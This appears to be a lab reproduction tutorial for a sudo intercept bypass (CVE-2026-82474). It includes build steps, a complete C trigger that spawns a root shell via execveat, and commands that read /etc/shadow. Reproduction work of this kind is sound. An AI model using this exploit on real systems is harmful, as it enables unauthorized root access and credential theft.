
Reproduction tutorial and trigger program demonstrating CVE-2026-82474, a sudo intercept bypass via execveat that enables local privilege escalation to root.
execveat bypass)Warning: This tutorial is intended only for laboratory environments that you fully control. Do not use it on systems without authorization. CVE-2026-82474 is a real vulnerability that affects sudo up to 1.9.17p2.
CVE-2026-82474 is a vulnerability in sudo that allows users with limited privileges to bypass the intercept policy (ptrace-based) by invoking the execveat syscall. Sudo checks execve but does not check execveat, so programs that should be prohibited can be executed.
Defaults intercept or Defaults log_subcmds enabled, the user has limited sudo privilegesexecveat)sudo-1.9.17p2.tar.gz source codegcc, make, libpam0g-dev, libselinux1-dev (optional)# Unduh source code
wget https://www.sudo.ws/dist/sudo-1.9.17p2.tar.gz
tar xzvf sudo-1.9.17p2.tar.gz
cd sudo-1.9.17p2
# Konfigurasi dan kompilasi
./configure --prefix=/usr/local
make -j$(nproc)
# Instal (timpa sudo sistem; lakukan di VM/container)
sudo make install
Verification:
/usr/local/bin/sudo --version
# Harus menampilkan: Sudo version 1.9.17p2
Ensure /usr/local/bin is at the front of PATH, or use the absolute path /usr/local/bin/sudo in all subsequent commands.
sudo useradd -m -s /bin/bash attacker
sudo passwd attacker
syscaller.cThis program opens the target file, then calls execveat with AT_EMPTY_PATH to execute it. Because execveat is not checked by the sudo intercept, the target program runs as root.
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
const char *target = (argc > 1) ? argv[1] : "/bin/sh";
int fd = open(target, O_RDONLY);
if (fd < 0) {
perror("open");
return 1;
}
char *const new_argv[] = { (char *)target, NULL };
char *const new_envp[] = { NULL };
long ret = syscall(SYS_execveat, fd, "", new_argv, new_envp, AT_EMPTY_PATH);
perror("execveat");
return 1;
}
Compile as the attacker user:
su - attacker
gcc syscaller.c -o syscaller
Edit with visudo (as root):
sudo visudo
Add:
Defaults intercept
attacker ALL=(root) NOPASSWD: /home/attacker/syscaller
What is allowed is syscaller itself, not /bin/sh. This is the key: sudo allows syscaller to run, but when syscaller calls execveat to execute /bin/sh, sudo does not check execveat.
As the attacker user:
sudo /home/attacker/syscaller /bin/sh
If successful, the prompt changes from $ to #.
External commands such as id or whoami will still be blocked by the sudo intercept (because they trigger a regular execve). Use shell built-ins to prove root access:
read line < /etc/shadow && echo "readable"
atau
while IFS= read -r line; do echo "$line"; done < /etc/shadow
Output: readable — proves the shell is running as root and can read /etc/shadow.
Or:
echo $UID
# Output: 0
id
# Output: Sorry, user attacker is not allowed to execute '/usr/bin/id' as root...
This proves that the intercept mechanism still works for regular execve, but execveat successfully bypasses it.
| Stage | Result |
|---|---|
| Compilation of sudo 1.9.17p2 | ✅ |
Defaults intercept active | ✅ |
Whitelist only syscaller | ✅ |
execveat triggers /bin/sh | ✅ |
| Root shell obtained | ✅ |
/etc/shadow can be read | ✅ |
Regular execve remains blocked | ✅ |
syscaller.c above is a verification tool written independently based on the technical principles.71fbe42; sudo versions after 1.9.17p2 are no longer vulnerable.bash as the target (/bin/bash), the shell may read additional configuration; however, external commands will still be blocked by intercept.execveat and ptrace behavior may differ between kernels.71fbe42 (sudo repository)